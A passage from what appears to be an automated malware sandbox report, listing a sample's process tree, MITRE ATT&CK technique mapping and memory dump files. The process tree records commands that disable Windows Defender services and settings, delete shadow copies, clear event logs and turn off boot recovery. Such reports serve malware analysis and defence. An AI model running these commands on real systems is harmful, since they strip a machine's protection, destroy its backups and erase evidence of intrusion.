  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  PID:2864
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  PID:3840
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  PID:2700
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:1292
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:1592
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:8
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:1468
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:3780
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:3172
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:3872
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:3040
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:3320
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:696
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:896
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:712
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:3956
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:804
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:1216
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:2296
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:3652
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:3628
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2288
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2008
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:3100
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:3776
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:520
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1392
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  PID:1852
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:920
- C:\Windows\SYSTEM32\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1496
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3788
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1132
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3456
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2364
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:2452
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    3⤵
    - Deletes Windows Defender Definitions
    PID:612
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:1220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:2332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1136

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Impair Defenses

T1562

Indicator Removal on Host

T1070

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/1136-230-0x0000029C4AE50000-0x0000029C4AE52000-memory.dmp

Filesize
8KB

Download
memory/1136-228-0x0000029C4AE50000-0x0000029C4AE52000-memory.dmp

Filesize
8KB

Download
memory/1136-256-0x0000029C64EA8000-0x0000029C64EA9000-memory.dmp

Filesize
4KB

Download
memory/1136-227-0x0000029C64EA3000-0x0000029C64EA5000-memory.dmp

Filesize
8KB

Download
memory/1136-255-0x0000029C64EA6000-0x0000029C64EA8000-memory.dmp

Filesize
8KB

Download
memory/1136-218-0x0000029C4AE50000-0x0000029C4AE52000-memory.dmp

Filesize
8KB

Download
memory/1136-229-0x0000029C4AE50000-0x0000029C4AE52000-memory.dmp

Filesize
8KB

Download
memory/1136-226-0x0000029C64EA0000-0x0000029C64EA2000-memory.dmp

Filesize
8KB

Download
memory/1136-231-0x0000029C4AE50000-0x0000029C4AE52000-memory.dmp

Filesize
8KB

Download
memory/1136-222-0x0000029C4AE50000-0x0000029C4AE52000-memory.dmp

Filesize
8KB

Download
memory/1136-221-0x0000029C4AE50000-0x0000029C4AE52000-memory.dmp

Filesize
8KB

Download
memory/1136-220-0x0000029C4AE50000-0x0000029C4AE52000-memory.dmp

Filesize
8KB

Download
memory/1136-219-0x0000029C4AE50000-0x0000029C4AE52000-memory.dmp

Filesize
8KB

Download
memory/1136-233-0x0000029C4AE50000-0x0000029C4AE52000-memory.dmp

Filesize
8KB

Download
memory/4016-189-0x000001A9F7BB0000-0x000001A9F7BB1000-memory.dmp

Filesize
4KB

Download
memory/4016-190-0x000001A9F3A20000-0x000001A9F3A22000-memory.dmp

Filesize
8KB

Download
memory/4016-180-0x000001A9F3A20000-0x000001A9F3A22000-memory.dmp

Filesize
8KB

Download
memory/4016-216-0x000001A9F3A20000-0x000001A9F3A22000-memory.dmp

Filesize
8KB

Download
memory/4016-215-0x000001A9F3A20000-0x000001A9F3A22000-memory.dmp

Filesize
8KB

Download
memory/4016-194-0x000001A9F3BD6000-0x000001A9F3BD8000-memory.dmp

Filesize
8KB

Download
memory/4016-193-0x000001A9F3BD3000-0x000001A9F3BD5000-memory.dmp

Filesize
8KB

Download
memory/4016-225-0x000001A9F3BD8000-0x000001A9F3BD9000-memory.dmp

Filesize
4KB

Download
memory/4016-192-0x000001A9F3BD0000-0x000001A9F3BD2000-memory.dmp

Filesize
8KB

Download
memory/4016-179-0x000001A9F3A20000-0x000001A9F3A22000-memory.dmp

Filesize
8KB

Download
memory/4016-181-0x000001A9F3A20000-0x000001A9F3A22000-memory.dmp

Filesize
8KB

Download
memory/4016-188-0x000001A9F3A20000-0x000001A9F3A22000-memory.dmp

Filesize
8KB

Download
memory/4016-187-0x000001A9F3A20000-0x000001A9F3A22000-memory.dmp

Filesize
8KB

Download
memory/4016-185-0x000001A9F3A20000-0x000001A9F3A22000-memory.dmp

Filesize
8KB

Download
memory/4016-186-0x000001A9F3A20000-0x000001A9F3A22000-memory.dmp

Filesize
8KB

Download
memory/4016-184-0x000001A9F7A00000-0x000001A9F7A01000-memory.dmp

Filesize
4KB

Download
memory/4016-183-0x000001A9F3A20000-0x000001A9F3A22000-memory.dmp

Filesize
8KB

Download
memory/4016-182-0x000001A9F3A20000-0x000001A9F3A22000-memory.dmp

Filesize
8KB

Download